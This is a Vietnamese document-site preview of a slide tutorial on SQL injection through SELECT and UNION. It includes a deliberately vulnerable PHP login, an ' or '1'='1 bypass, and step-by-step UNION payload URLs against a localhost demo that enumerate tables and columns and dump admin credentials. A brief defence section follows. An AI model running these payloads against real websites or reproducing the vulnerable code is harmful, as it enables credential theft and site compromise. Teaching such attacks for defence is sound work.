1. Trang chủ
  2. » Công Nghệ Thông Tin

Tấn công sql injection sử dụng câu lệnh select union

27 1,7K 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 27
Dung lượng 2,48 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Nguyễn Danh Thanh TẤN CÔNG SQL INJECTION QUA CÂU LỆNH SELECT, UNION... • Thông báo lỗi của hệ quản trị CSDL– Mysql_fetch_array; – Database query failed… – You have an error in your SQL

Trang 1

Nguyễn Danh Thanh

TẤN CÔNG SQL INJECTION QUA

CÂU LỆNH SELECT, UNION

Trang 3

Mục đích tấn công

• Đánh cắp dữ liệu từ web server

• Thay đổi dữ liệu

• Deface website

• Backdoor

Trang 5

Cơ chế tấn công

Trang 6

• Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào

<form action="" method="post">

Tài khoản : <input type="text" name=“user">

Mật khẩu : <input type="password" name=“pass">

<input type="submit“ value=“Đăng nhập”>

</form>

<?php

$user= $_POST [‘user’];

$pass= $_POST [‘pass’];

$sql=“ SELECT * FROM tbl_user WHERE

user =‘$user’ && pass =‘$pass’”;

$query= mysql_query ($sql);

Trang 7

$sql=“ SELECT * FROM tbl_user WHERE

user=‘0’ or ‘1’=‘1’ ’ &&

pass =‘123456’”;

Trang 8

• Thông báo lỗi của hệ quản trị CSDL

– Mysql_fetch_array();

– Database query failed…

– You have an error in your SQL systax…

Trang 11

• Các bước tấn công sử dụng lệnh union select

– Kiểm tra lỗi sql injection.

– Tìm số cột mà câu truy vấn tạo ra.

– Tìm cột chứa thông tin có thể khai thác được.

– Xem phiên bản của CSDL và ngôn ngữ lập trình – Xác định tên bảng chứa thông tin người quản trị – Xác định tài khoản/mật khẩu của quản trị.

– Truy cập vào phần giành cho quản trị viên.

Trang 13

Cách phòng chống

• Phòng chống từ mức xây dựng mã nguồn ứng dụng

– Backlist

• Bảo vệ từ mức nền tảng của hệ thống

Trang 16

Mục tiêu tấn công

Trang 18

Tìm số cột mà câu truy vấn SQL tạo ra

http://localhost/maytinh/?frame=product_detail&id=289 order by 15

Trang 19

-Xác định vị trí xảy ra lỗi

http://localhost/maytinh/?frame=product_detail&id=-289 union select

Trang 20

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 Xác định phiên bản ngôn ngữ lập trình

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5, version(), 7,8,9,10,11,12,13,14,15

Trang 21

Xác định tên các bảng trong CSDL

http://localhost/maytinh/?frame=product_detail&id=-289 union select

1,2,3,4,5,unhex(hex(group_concat('\n', table_name ))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

Trang 22

Xác đinh các cột trong bảng tbl_user

http://localhost/maytinh/?frame=product_detail&id=-289 union select

1,2,3,4,5,unhex(hex(group_concat('\n', column_name ))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572

Trang 23

Xác định thông tin username, password của Admin

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat( id,0x7c,uid,0x7c,pwd ))),

7,8,9,10,11,12,13,14,15 from tbl_user

Trang 24

Password: thietkewebx.net

Trang 25

Tìm đường dẫn trang quản trị Localhost/maytinh/admin

Ngày đăng: 18/10/2014, 11:07

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w